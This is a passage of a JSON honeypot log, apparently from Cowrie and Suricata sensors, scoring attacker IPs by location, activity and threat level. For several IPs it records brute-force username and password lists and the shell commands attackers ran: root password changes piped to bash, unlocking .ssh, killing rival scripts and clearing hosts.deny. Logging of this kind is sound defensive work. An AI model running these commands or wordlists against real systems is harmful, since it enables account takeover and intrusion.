      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "59.173.52.137": {
      "attack_count": 2,
      "first_seen": "2026-05-06T20:42:24.833Z",
      "last_seen": "2026-05-06T20:42:38.128Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Wuhan",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T20:42:24.833000+00:00",
        "last_seen_30d": "2026-05-06T20:43:43.816000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "60.186.37.178": {
      "attack_count": 2,
      "first_seen": "2026-05-03T16:28:22.618Z",
      "last_seen": "2026-05-03T16:28:35.757Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Hangzhou",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T16:28:22.618000+00:00",
        "last_seen_30d": "2026-05-03T16:29:45.853000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "85.11.167.7": {
      "attack_count": 2,
      "first_seen": "2026-05-10T18:15:37.493Z",
      "last_seen": "2026-05-10T18:16:38.142Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Bulgaria",
      "country_code": "BG",
      "city": "Sofia",
      "asn": 213438,
      "as_org": "ColocaTel Inc.",
      "threat_score": 93.3,
      "threat_level": "critical",
      "score_components": {
        "frequency": 30,
        "persistence": 18.3,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 13329,
        "days_active_30d": 22,
        "ports_targeted_30d": 15,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-05-10T00:53:53.876000+00:00",
        "last_seen_30d": "2026-05-31T23:45:10.396000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 8314,
        "Honeytrap": 4790,
        "Heralding": 217,
        "Dionaea": 5,
        "Cowrie": 2,
        "Tanner": 1
      }
    },
    "95.86.49.42": {
      "attack_count": 2,
      "first_seen": "2026-05-07T01:27:54.065Z",
      "last_seen": "2026-05-07T01:28:07.247Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Serbia",
      "country_code": "RS",
      "city": "Belgrade",
      "asn": 44143,
      "as_org": "A1 Srbija d.o.o. Beograd",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T01:27:54.065000+00:00",
        "last_seen_30d": "2026-05-07T01:29:16.620000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "165.154.36.71": {
      "attack_count": 599,
      "first_seen": "2026-05-02T09:23:22.654Z",
      "last_seen": "2026-05-20T22:18:21.911Z",
      "sessions": 61,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ubuntu",
        "admin",
        "test",
        "cockroach",
        "roman",
        "test2",
        "user",
        "viktor",
        "xian",
        "adminuser",
        "deploy",
        "develop",
        "developer",
        "ganesh",
        "gitlab-runner",
        "guangzhou",
        "kaifa",
        "ma"
      ],
      "passwords_attempted": [
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "1111",
        "111222",
        "1234567",
        "123qwe...",
        "1qaz",
        "1qaz!QAZ",
        "2000",
        "2test",
        "Dd112211",
        "December2024",
        "P@ssw0rd",
        "Password!1",
        "admin",
        "admin007",
        "admin@456",
        "cockroach",
        "computer"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"123456\\nfI8d2Fn2WDGD\\nfI8d2Fn2WDGD\\n\"|passwd",
        "echo \"1qaz!QAZ\\nEfd3M2Sb1Vs7\\nEfd3M2Sb1Vs7\\n\"|passwd",
        "echo \"cockroach\\ns6D8MzQSdTEA\\ns6D8MzQSdTEA\\n\"|passwd",
        "echo \"viktor\\niiIoiEnLfEJx\\niiIoiEnLfEJx\\n\"|passwd",
        "echo \"xian\\naVFYKv0FF3Yb\\naVFYKv0FF3Yb\\n\"|passwd",
        "echo -e \"123456\\nfI8d2Fn2WDGD\\nfI8d2Fn2WDGD\"|passwd|bash",
        "echo -e \"1qaz!QAZ\\nEfd3M2Sb1Vs7\\nEfd3M2Sb1Vs7\"|passwd|bash",
        "echo -e \"cockroach\\ns6D8MzQSdTEA\\ns6D8MzQSdTEA\"|passwd|bash",
        "echo -e \"viktor\\niiIoiEnLfEJx\\niiIoiEnLfEJx\"|passwd|bash",
        "echo -e \"xian\\naVFYKv0FF3Yb\\naVFYKv0FF3Yb\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 35.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 28.7,
        "persistence": 15.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 741,
        "days_active_30d": 19,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T09:23:22.654000+00:00",
        "last_seen_30d": "2026-05-20T22:19:25.291000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 599,
        "Suricata": 142
      }
    },
    "171.231.176.95": {
      "attack_count": 457,
      "first_seen": "2026-05-09T03:00:12.207Z",
      "last_seen": "2026-05-09T03:27:58.977Z",
      "sessions": 91,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "ftp",
        "monitor",
        "support",
        "1234",
        "admian",
        "am",
        "anton",
        "backup",
        "brenda",
        "btf",
        "carol",
        "cf1c22",
        "config",
        "cpanel",
        "demo",
        "developer",
        "dubai",
        "ftpuser"
      ],
      "passwords_attempted": [
        "123456",
        "1234",
        "admin",
        "0l0ctyQh243O63uD",
        "abc123",
        "1",
        "111111",
        "12345",
        "12345678",
        "123456789",
        "321start",
        "72b1bd75ac87852a",
        "91482d",
        "?",
        "OkwKcECs8qJP2Z",
        "P@ssw0rd",
        "abcd1234",
        "abcdefg",
        "admin01",
        "admin1"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Da Nang",
      "asn": 7552,
      "as_org": "Viettel Group",
      "threat_score": 11.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 28.1,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 650,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T03:00:12.207000+00:00",
        "last_seen_30d": "2026-05-09T03:29:08.695000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 457,
        "Suricata": 193
      }
    },
    "82.197.65.236": {
      "attack_count": 432,
      "first_seen": "2026-05-02T15:13:22.892Z",
      "last_seen": "2026-05-02T15:39:16.705Z",
      "sessions": 216,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Orangeburg",
      "asn": 40021,
      "as_org": "Contabo Inc.",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 28.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 652,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T15:13:22.892000+00:00",
        "last_seen_30d": "2026-05-02T15:40:24.660000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 432,
        "Suricata": 220
      }
    },
    "217.154.38.181": {
      "attack_count": 430,
      "first_seen": "2026-05-11T09:09:34.720Z",
      "last_seen": "2026-05-30T20:03:05.771Z",
      "sessions": 51,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "user",
        "345gs5662d34",
        "test",
        "admin",
        "postgres",
        "user1",
        "daniel",
        "deployhq",
        "faxadmin",
        "ftpadmin",
        "fuser",
        "lekaren",
        "newuser",
        "opc",
        "oussama",
        "rustserver",
        "sftp",
        "steam"
      ],
      "passwords_attempted": [
        "1234",
        "3245gs5662d34",
        "345gs5662d34",
        "!QAZ@WSX3edc",
        "!Qaz2wsx",
        "1",
        "123",
        "12345",
        "123456",
        "123@.com",
        "123qwe",
        "1qaz2wsx",
        "Aa12345",
        "Abc123",
        "Asd12345678",
        "Newpassword123!",
        "P@ssw0rd",
        "Server@123",
        "Test123",
        "Zxcv123456"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"1qaz2wsx\\nfbPGeMVBL8ZJ\\nfbPGeMVBL8ZJ\\n\"|passwd",
        "echo \"root:0xxFBREFlekL\"|chpasswd|bash",
        "echo \"root:gO56tJAw9eDT\"|chpasswd|bash",
        "echo -e \"1qaz2wsx\\nfbPGeMVBL8ZJ\\nfbPGeMVBL8ZJ\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": null,
      "asn": 8560,
      "as_org": "IONOS SE",
      "threat_score": 54.2,
      "threat_level": "medium",
      "score_components": {
        "frequency": 27.4,
        "persistence": 16.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 548,
        "days_active_30d": 20,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T09:09:34.720000+00:00",
        "last_seen_30d": "2026-05-30T20:04:08.502000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 430,
        "Suricata": 118
      }
    },
    "110.165.16.134": {
      "attack_count": 382,
      "first_seen": "2026-05-16T20:29:06.859Z",
      "last_seen": "2026-05-16T21:02:39.158Z",
      "sessions": 30,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456ll",
        "1234qwer",
        "20192019",
        "234",
        "CHINAIDC",
        "P455wOrd",
        "carter",
        "eversec123098",
        "farid",
        "hd123456",
        "jupyter",
        "mailman",
        "mountain",
        "password0000",
        "qwe123rty",
        "server01",
        "tahir123",
        "telecom"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:EvEPwWXOPpLZ\"|chpasswd|bash",
        "echo \"root:k16amBP5eFQS\"|chpasswd|bash",
        "echo \"root:tUuDrBOD3Zgy\"|chpasswd|bash",
        "echo \"root:uG4TYkdOlJun\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": null,
      "asn": 135354,
      "as_org": "NAVER BUSINESS PLATFORM ASIA PACIFIC PTE. LTD.",
      "threat_score": 19.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 448,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T20:29:06.859000+00:00",
        "last_seen_30d": "2026-05-16T21:03:42.017000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 382,
        "Suricata": 66
      }
    },
    "116.99.174.232": {
      "attack_count": 380,
      "first_seen": "2026-05-25T14:47:13.101Z",
      "last_seen": "2026-05-25T15:17:39.468Z",
      "sessions": 77,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "ubnt",
        "user",
        "*****",
        "am",
        "belkinstyle",
        "bin",
        "carol",
        "cf1c22",
        "config",
        "cpanel",
        "developer",
        "geral",
        "guest1",
        "help",
        "helpdesk",
        "install",
        "installer",
        "jay"
      ],
      "passwords_attempted": [
        "123456",
        "1234",
        "12345678",
        "P@ssw0rd",
        "admin",
        "*****",
        "0l0ctyQh243O63uD",
        "1234567890%*()",
        "72b1bd75ac87852a",
        "72ca06",
        "@",
        "Deadstar!",
        "abcd1234",
        "admin123",
        "alpine",
        "am",
        "bananapi",
        "bin",
        "carol",
        "cf1c22"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 24086,
      "as_org": "Viettel Corporation",
      "threat_score": 32.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 567,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T14:47:13.101000+00:00",
        "last_seen_30d": "2026-05-25T15:18:44.786000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 380,
        "Suricata": 187
      }
    },
    "43.153.40.232": {
      "attack_count": 307,
      "first_seen": "2026-05-17T23:52:30.698Z",
      "last_seen": "2026-05-18T00:20:16.143Z",
      "sessions": 26,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "huawei",
        "igor",
        "jose",
        "anaconda",
        "andrey",
        "grid",
        "nexus",
        "nokia",
        "root123",
        "rootuser",
        "sherry",
        "student2",
        "suporte",
        "ubuntu"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "1234567@",
        "123456A@",
        "1q2w3e",
        "Qaz12345678!",
        "anaconda",
        "andrey",
        "grid",
        "huawei@123",
        "igor",
        "nexus!123",
        "nokia123",
        "password",
        "qweqwe123.",
        "root123",
        "rootuser@2026",
        "server@2021",
        "sherry123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"huawei@123\\nwJJpQdSr8dvQ\\nwJJpQdSr8dvQ\\n\"|passwd",
        "echo \"igor\\niwmKAlGhGRDi\\niwmKAlGhGRDi\\n\"|passwd",
        "echo \"password\\n0dpgnWRPqKlf\\n0dpgnWRPqKlf\\n\"|passwd",
        "echo -e \"huawei@123\\nwJJpQdSr8dvQ\\nwJJpQdSr8dvQ\"|passwd|bash",
        "echo -e \"igor\\niwmKAlGhGRDi\\niwmKAlGhGRDi\"|passwd|bash",
        "echo -e \"password\\n0dpgnWRPqKlf\\n0dpgnWRPqKlf\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 22.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.6,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 364,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T23:52:30.698000+00:00",
        "last_seen_30d": "2026-05-18T00:21:20.611000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 307,
        "Suricata": 57
      }
    },
    "103.187.165.26": {
      "attack_count": 299,
      "first_seen": "2026-05-04T00:10:03.524Z",
      "last_seen": "2026-05-04T00:57:28.679Z",
      "sessions": 33,
      "ports": [],
      "usernames_attempted": [
        "ubuntu",
        "345gs5662d34",
        "root",
        "admin",
        "alireza",
        "datauser",
        "hadoop",
        "testuser",
        "ark",
        "bitrix",
        "frappe",
        "ftptest",
        "lsfadmin",
        "myadmin",
        "postgres"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "123132123",
        "12345",
        "123456789",
        "123qweasdzxc",
        "888",
        "@admin1234",
        "QNX",
        "a123456",
        "aA123456.",
        "admin",
        "alireza",
        "datauser",
        "ftptest2022",
        "hadoop@123",
        "newpassword",
        "pa$$w0rd1",
        "password"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"alireza\\nPr8FpOuia2O0\\nPr8FpOuia2O0\\n\"|passwd",
        "echo \"datauser\\nYNUy7QMTXKP2\\nYNUy7QMTXKP2\\n\"|passwd",
        "echo -e \"alireza\\nPr8FpOuia2O0\\nPr8FpOuia2O0\"|passwd|bash",
        "echo -e \"datauser\\nYNUy7QMTXKP2\\nYNUy7QMTXKP2\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": "Central Jakarta",
      "asn": 149897,
      "as_org": "PT Amanusa Telemedia Mahardika",
      "threat_score": 3.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 371,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T00:10:03.524000+00:00",
        "last_seen_30d": "2026-05-04T00:58:35.702000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 299,
        "Suricata": 72
      }
    },
    "47.237.167.49": {
      "attack_count": 279,
      "first_seen": "2026-05-21T20:06:06.215Z",
      "last_seen": "2026-05-22T00:34:06.232Z",
      "sessions": 66,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "opc",
        "alex",
        "angel",
        "asterisk",
        "centos",
        "debian",
        "demo",
        "deploy",
        "developer",
        "dmdba",
        "dspace",
        "es",
        "esroot",
        "gabriel",
        "home",
        "jenkins",
        "media",
        "mysql"
      ],
      "passwords_attempted": [
        "123456",
        "!qaz@WSX",
        "111",
        "123",
        "123321",
        "1234",
        "123456789",
        "Aa123456",
        "Admin@123",
        "Huawei@123",
        "QWEqwe123",
        "admin",
        "admin123",
        "alex",
        "angel",
        "asterisk",
        "centos",
        "demo",
        "developer",
        "dmdba"
      ],
      "commands_executed": [
        "uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.client.kex",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": null,
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 28.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.7,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 473,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T20:06:06.215000+00:00",
        "last_seen_30d": "2026-05-22T00:35:07.647000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 279,
        "Suricata": 194
      }
    },
    "223.151.249.118": {
      "attack_count": 274,
      "first_seen": "2026-05-22T20:36:04.317Z",
      "last_seen": "2026-05-23T07:52:25.903Z",
      "sessions": 137,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 29.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.2,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 418,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T20:36:04.317000+00:00",
        "last_seen_30d": "2026-05-23T07:53:31.404000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 274,
        "Suricata": 144
      }
    },
    "107.172.71.182": {
      "attack_count": 212,
      "first_seen": "2026-05-24T09:47:03.902Z",
      "last_seen": "2026-05-24T10:36:09.137Z",
      "sessions": 19,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "frappe",
        "devuser",
        "gopal",
        "mcserver",
        "testuser",
        "x"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1",
        "123456",
        "123@Admin",
        "123qweASD!",
        "1q2w3e4r5T",
        "Admin007",
        "P@ssw0rd01!",
        "P@ssw0rd123#",
        "P@ssw0rd1234",
        "changeit",
        "frappe@123",
        "gopal",
        "password123",
        "testuser1",
        "wocaonima"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"frappe@123\\nc6ezV6RRgUUI\\nc6ezV6RRgUUI\\n\"|passwd",
        "echo \"root:zoDdu1hIIgb7\"|chpasswd|bash",
        "echo -e \"frappe@123\\nc6ezV6RRgUUI\\nc6ezV6RRgUUI\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 36352,
      "as_org": "HostPapa",
      "threat_score": 28.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 258,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T09:47:03.902000+00:00",
        "last_seen_30d": "2026-05-24T10:37:15.622000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
